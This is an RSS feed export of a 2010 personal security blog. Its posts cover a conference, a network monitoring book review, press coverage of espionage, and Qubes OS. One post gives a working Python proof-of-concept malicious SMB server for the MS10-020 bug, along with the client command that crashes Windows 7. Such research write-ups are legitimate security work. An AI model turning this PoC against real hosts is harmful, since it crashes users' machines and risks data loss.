<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Engineering For Fun&#039;s Blog</title>
	<atom:link href="http://engineeringforfun.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://engineeringforfun.wordpress.com</link>
	<description>Do it for fun and the challenge!</description>
	<lastBuildDate>Fri, 22 Apr 2011 07:13:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='engineeringforfun.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Engineering For Fun&#039;s Blog</title>
		<link>http://engineeringforfun.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://engineeringforfun.wordpress.com/osd.xml" title="Engineering For Fun&#039;s Blog" />
	<atom:link rel='hub' href='http://engineeringforfun.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Auscert 2k10</title>
		<link>http://engineeringforfun.wordpress.com/2010/05/22/auscert%c2%a02k10/</link>
		<comments>http://engineeringforfun.wordpress.com/2010/05/22/auscert%c2%a02k10/#comments</comments>
		<pubDate>Sat, 22 May 2010 00:01:37 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Our site]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[auscert]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[risky.biz]]></category>

		<guid isPermaLink="false">http://engineeringforfun.wordpress.com/?p=446</guid>
		<description><![CDATA[Just came back from AusCert. To cut story short: great entertaining event. Got a lot of free massages, pictures taken with hot Kaspersky girls, great parties with Juniper and RSA, great to catch up with some friends and meet some cool people. In terms of presentations, my favorites were: Chris spencer &#8220;Professional Vulnerability Research and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=446&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Just came back from AusCert. To cut story short: great entertaining event. Got a lot of free massages, pictures taken with hot Kaspersky girls, great parties with Juniper and RSA, great to catch up with some friends and meet some cool people.</p>
<p>In terms of presentations, my favorites were: Chris spencer &#8220;<a href="http://conference.auscert.org.au/conf2010/presentation.php#presentation_IS1_01">Professional Vulnerability Research and Analysis</a>&#8221; and Daniel Grzelak + Paul Therault &#8220;<a href="http://conference.auscert.org.au/conf2010/presentation.php#presentation_S1_10">The Rules of the Internet, and the Browsers That Break Them</a>&#8220;.</p>
<p>My presentation on the History of Microsoft Exploit Mitigations can be downloaded at the following link: <a href="http://engineeringforfun.files.wordpress.com/2010/05/auscert-2k10.pptx">Auscert-2k10: A history of Microsoft exploit mitigations</a></p>
<p>Also thanks to Risky Business for their podcast: <a href="http://media.risky.biz/auscert2010/RB2-AC-mosse.mp3">http://media.risky.biz/auscert2010/RB2-AC-mosse.mp3</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/446/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/446/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/446/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/446/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/446/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/446/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/446/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/446/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/446/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/446/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/446/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/446/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/446/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/446/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=446&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2010/05/22/auscert%c2%a02k10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://media.risky.biz/auscert2010/RB2-AC-mosse.mp3" length="3275861" type="audio/mpeg" />
<enclosure url="http://media.risky.biz/auscert2010/RB2-AC-mosse.mp3" length="3275861" type="audio/mpeg" />
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>
	</item>
		<item>
		<title>Hiroshima Meat Explosion</title>
		<link>http://engineeringforfun.wordpress.com/2010/04/19/hiroshima-meat-explosion/</link>
		<comments>http://engineeringforfun.wordpress.com/2010/04/19/hiroshima-meat-explosion/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 00:22:30 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[parkour]]></category>

		<guid isPermaLink="false">http://engineeringforfun.wordpress.com/?p=443</guid>
		<description><![CDATA[<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=443&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<span style="text-align:center; display: block;"><a href="http://engineeringforfun.wordpress.com/2010/04/19/hiroshima-meat-explosion/"><img src="http://img.youtube.com/vi/if_lLh4y3fI/2.jpg" alt="" /></a></span>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/443/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=443&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2010/04/19/hiroshima-meat-explosion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>
	</item>
		<item>
		<title>MS10-020 PoC</title>
		<link>http://engineeringforfun.wordpress.com/2010/04/17/ms10-020-poc/</link>
		<comments>http://engineeringforfun.wordpress.com/2010/04/17/ms10-020-poc/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 01:24:43 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Microsoft Security Patches]]></category>
		<category><![CDATA[MS10-020]]></category>
		<category><![CDATA[Proof of concept]]></category>

		<guid isPermaLink="false">http://engineeringforfun.wordpress.com/?p=437</guid>
		<description><![CDATA[On April 14th, Laurent Gaffie published an article explaining how to trigger the vulnerability he discovered in the SMB client of Windows 7 (MS20-010). I have used his article to reconstruct a malicious SMB server that triggers the bug which causes Windows 7 to throw a blue screen of death. The following is a python [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=437&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://engineeringforfun.files.wordpress.com/2010/04/screen-shot-2010-04-17-at-11-08-43-am.png"><img class="aligncenter size-medium wp-image-439" title="Screen shot 2010-04-17 at 11.08.43 AM" src="http://engineeringforfun.files.wordpress.com/2010/04/screen-shot-2010-04-17-at-11-08-43-am.png?w=300&#038;h=266" alt="" width="300" height="266" /></a></p>
<p>On April 14th, Laurent Gaffie published an article explaining how to trigger the vulnerability he discovered<br />
in the SMB client of Windows 7 (MS20-010). I have used his article to reconstruct a malicious SMB server<br />
that triggers the bug which causes Windows 7 to throw a blue screen of death.</p>
<p>The following is a python code that emulates being a SMBv1 server using this<br />
<a href="http://www.pcapr.net/view/benjilenoob/2010/3/5/17/XP-dump-6.pcap.html">pcap</a> file:</p>
<pre class="brush: python; toolbar: true; wrap-lines: false;">
import SocketServer
from scapy.all import *

class SMB2_server(SocketServer.BaseRequestHandler):

	def __init__(self, request, client_address, server):
		self.request = request
		self.client_address = client_address
		self.pcapfile = rdpcap('./XP-dump-6.pcap', count=30)
		self.pkts = []
		self.to_fuzz = -1

		i=0
		for pkt in self.pcapfile:
			pkt = pkt.getlayer(IP)
			if pkt != None and pkt.src == &quot;192.168.136.133&quot; and &quot;SMB&quot; in str(pkt):
				pkt = pkt.getlayer(Raw)

				if &quot;SMB\x32&quot; in str(pkt) and str(pkt).endswith(&quot;\x01\x00\x00\x00&quot;):
					self.to_fuzz = i
					print &quot;[-] please fuzz pkt %s&quot; % i

				self.pkts.insert(i, pkt)
				i+=1

		try:
			self.handle()
		except KeyboardInterrupt:
			self.logfile.close()
			self.request.close()

	def Byte2Hex(self, string):
		return ''.join( [ &quot;\\x%02X&quot; % ord( x ) for x in string ] ).strip()

	def handle(self):
		print &quot;[+] client connected!&quot;
		con = self.request

		i=0
		while(i &lt; len(self.pkts)-1):
			data = con.recv(1024)
			pkt = str(self.pkts[i])
			if data:
				if i == self.to_fuzz:
					pkt = pkt.replace(&quot;\x3c\x00&quot;, &quot;\xFF\xFF&quot;)
					pkt+=&quot;\x41&quot; * 10
					con.send(pkt)
					print &quot;[+] SENT POC&quot;
				else:
					con.send(pkt)
					print &quot;[+] sent packet %i&quot; % i
				i+=1

try:
	SocketServer.TCPServer.allow_reuse_address = True

	s = SocketServer.ThreadingTCPServer(('192.168.136.1', 445), SMB2_server)
	s.serve_forever()
except (KeyboardInterrupt, SystemExit):
	s.server_close()
	sys.exit(1)
</pre>
<p>I assume you would be running the above code on a operating system other than Windows. Make sure to run it as root.</p>
<p>Then boot up your Windows 7 machine (mine is a VM), open a command line console and type the following command:</p>
<pre class="brush: bash; wrap-lines: false;">
start \\[replace this part with the ip of your malicious smb server]\hehe
</pre>
<p>My malicious server was running on 192.168.136.1 so I ran: start \\192.168.136.1\hehe</p>
<p>You should get a blue screen of death. Note that after your system has crashed, you may have some issues rebooting it.<br />
In which case, I force the VM to shutdown, boot it again and tell it to start normally instead of trying to repair itself.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/437/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/437/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/437/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/437/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/437/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/437/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/437/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/437/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/437/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/437/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/437/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/437/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/437/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/437/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=437&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2010/04/17/ms10-020-poc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>

		<media:content url="http://engineeringforfun.files.wordpress.com/2010/04/screen-shot-2010-04-17-at-11-08-43-am.png?w=300" medium="image">
			<media:title type="html">Screen shot 2010-04-17 at 11.08.43 AM</media:title>
		</media:content>
	</item>
		<item>
		<title>Book review: The TAO of network security monitoring</title>
		<link>http://engineeringforfun.wordpress.com/2010/04/12/book-review-the-tao-of-network-security-monitoring/</link>
		<comments>http://engineeringforfun.wordpress.com/2010/04/12/book-review-the-tao-of-network-security-monitoring/#comments</comments>
		<pubDate>Mon, 12 Apr 2010 10:55:19 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Book review]]></category>
		<category><![CDATA[tao of NSM]]></category>

		<guid isPermaLink="false">http://engineeringforfun.wordpress.com/?p=434</guid>
		<description><![CDATA[I wrote the following review on Amazon: I will summarise in a few lignes why I would recommend that book to anyone working in the IT security industry: - The book is extremely well written. You will flow from one chapter to another; from page XVII (Foreword) to 763 (Appendix C). - The book introduces [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=434&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I wrote the following review on Amazon:<img class="alignleft" title="TAO OF NETWORK SECURITY MONITORING" src="http://ecx.images-amazon.com/images/I/41FDS2CWH4L._SL500_AA300_.jpg" alt="" width="300" height="300" /><em></em></p>
<p><em>I will summarise in a few lignes why I would recommend that book to anyone working in the IT security industry:</em></p>
<p><em>- The book is extremely well written. You will flow from one chapter to another; from page XVII (Foreword) to 763 (Appendix C).<br />
- The book introduces all required notions to understand each and every chapter (given you know a bit about how networks, vulnerabilities and exploits work).<br />
- The Tao of NSM not only focuses on the technical aspect (i.e. tools, methods, scripts) of network security monitoring but also gives the reader more knowledge about NSM. Such as the history behind NSM, how to implement and deploy NSM in your organisation or how to manage your team of network security analyst.<br />
- R. Bejtlich explains in detail how to install, configure and use each and every tools he mentions in his book (and all the tools are open source!).</p>
<p></em></p>
<p><em>As I am not a network analyst, I originally bought the book with the intention of only reading the concepts and ideas behind NSM; thinking I could always come back and look at the tools when life would require it. But I was completely drown into the book and ended up reading all of it.<br />
</em></p>
<p><em>Having read that small review, I hope this book will find you well and that you will appreciate it as much as I did.</em></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/434/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/434/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/434/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/434/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/434/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/434/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/434/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/434/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/434/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/434/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/434/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/434/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/434/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/434/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=434&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2010/04/12/book-review-the-tao-of-network-security-monitoring/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>

		<media:content url="http://ecx.images-amazon.com/images/I/41FDS2CWH4L._SL500_AA300_.jpg" medium="image">
			<media:title type="html">TAO OF NETWORK SECURITY MONITORING</media:title>
		</media:content>
	</item>
		<item>
		<title>Security evidence: the press</title>
		<link>http://engineeringforfun.wordpress.com/2010/04/09/security-evidence-the-press/</link>
		<comments>http://engineeringforfun.wordpress.com/2010/04/09/security-evidence-the-press/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 05:06:35 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[evidence]]></category>
		<category><![CDATA[press]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://engineeringforfun.wordpress.com/?p=432</guid>
		<description><![CDATA[It&#8217;s been all over the news: a report titled &#8220;Shadows in the Cloud&#8221; reports a complex story of cyber espionage targeting the US, the Dalai Lama as well as many other organisations and countries. And prior to that story, the security news headline was the Aurora attack which targeted Google. What makes those stories interesting and great for [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=432&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been all over the news: a report titled &#8220;Shadows in the Cloud&#8221; reports a complex story of cyber espionage targeting the US, the Dalai Lama as well as many other organisations and countries. And prior to that story, the security news headline was the Aurora attack which targeted Google.</p>
<p>What makes those stories interesting and great for what they are is that they are unique. Otherwise we wouldn&#8217;t be talking about them. But entertainment is a poor source of evidence. Because the US or Google have been attacked does not prove that those stories have a particular significance to any one organisation. In other words do not get tempted to think that the stories the press published are a realistic representation of the state of your security or the security in the world.</p>
<p>We do not have sound evidence to say that because people have recently showed that the US or Google have been attacked, the world today is less secure than yesterday. Neither that because Google was attacked with one specific technique, you will also be the victim of that method. Additionally, no particular conclusion can be drawn from an increase or decrease in the number of attacks on the internet.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/432/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/432/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/432/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/432/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/432/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/432/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/432/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/432/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/432/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/432/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/432/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/432/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/432/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/432/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=432&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2010/04/09/security-evidence-the-press/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>
	</item>
		<item>
		<title>Qubes-OS Architecture Document</title>
		<link>http://engineeringforfun.wordpress.com/2010/04/08/qubes-os-architecture-document/</link>
		<comments>http://engineeringforfun.wordpress.com/2010/04/08/qubes-os-architecture-document/#comments</comments>
		<pubDate>Thu, 08 Apr 2010 11:16:24 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Random news]]></category>
		<category><![CDATA[qubes-os]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://engineeringforfun.wordpress.com/?p=412</guid>
		<description><![CDATA[InvisibleThingsLab released an operating system based on Xen and Linux based on the concept of security by isolation. Their architecture document states the following: Project Qubes aims at building a secure operating system for desktop and laptop computers. The stress is on security, which is achieved by exploiting the isolation capabilities of the bare-metal hypervisor (Xen), [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=412&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="Isolation Image" src="http://qubes-os.org/Architecture_files/droppedImage.png" alt="" width="630" height="295" /><br />
InvisibleThingsLab released an operating system based on Xen and Linux based on the concept of security by isolation. Their <a href="https://docs.google.com/viewer?url=http://qubes-os.org/files/doc/arch-spec-0.3.pdf">architecture document</a> states the following:</p>
<blockquote><p>Project <a href="http://qubes-os.org/Home.html">Qubes</a> aims at building a secure operating system for desktop and laptop computers. The stress is on security, which is achieved by exploiting the isolation capabilities of the bare-metal hypervisor (Xen), together with modern hardware technologies, such as Intel VT-d and Trusted Execution Technology.</p>
<p>Current mainstream operating systems that are used for desktop computing, e.g. Windows, Mac OS X, orLinux-based systems, proved unsatisfactory when it comes to security. The major problem with current sys-tems is their inability to provide effective isolation between various programs running on one machine. E.g. ifthe userʼs Web browser gets compromised (due to a bug exploited by a malicious web site), the OS is usu-ally unable to protect other userʼs applications and data from also being compromised. Similarly, if certainsystem core components get compromised, e.g. WiFi driver or stack, none of the mentioned above systemscan defend themselves from a complete compromise of all the userʼs applications and data.The above situation is a direct result of certain architectural design decisions, which include over-complexityof the OS API, insecure GUI design, and, last but not least, the monolithic kernel architecture. It is the opin-ion of the authors that systems that are based on such insecure architecture simply cannot be made secure.One can, of course, try to take the reactive approach, as many vendors do today, and try to patch every sin-gle known security bug. But such approach not only doesnʼt scale well, it simply doesnʼt work. Especially forusers who require more than average security. Patching can only address known and popular attacks, butoffers no protection against new, or less popular, more targeted, threats.</p>
<p>Authors of this document do not believe that, at any time in the foreseeable future, we would be able to patch all the bugs in the software we use, as well as detect all the malicious software. Consequently we need a different approach to build secure systems. Obviously building a new OS can be a very time consuming task. Thatʼs why, with Qubes OS, we reuse as much ready-to-use building blocks as possible, in particular the Xen hypervisor. This in turn implies the use of virtualization technology, which is used for two primary reasons: offering excellent security isolation properties, as well as the ability to reuse the large amount of software, including most of the applications and drivers written for mainstream OSes, like Linux or Windows.</p></blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/412/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/412/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/412/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/412/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/412/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/412/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/412/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/412/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/412/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/412/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/412/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/412/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/412/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/412/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=412&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2010/04/08/qubes-os-architecture-document/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>

		<media:content url="http://qubes-os.org/Architecture_files/droppedImage.png" medium="image">
			<media:title type="html">Isolation Image</media:title>
		</media:content>
	</item>
		<item>
		<title>Durzosploit presented in a Core Impact webcast!</title>
		<link>http://engineeringforfun.wordpress.com/2009/11/26/durzosploit-presented-in-a-core-impact-webcast/</link>
		<comments>http://engineeringforfun.wordpress.com/2009/11/26/durzosploit-presented-in-a-core-impact-webcast/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 19:49:00 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Browser rider]]></category>
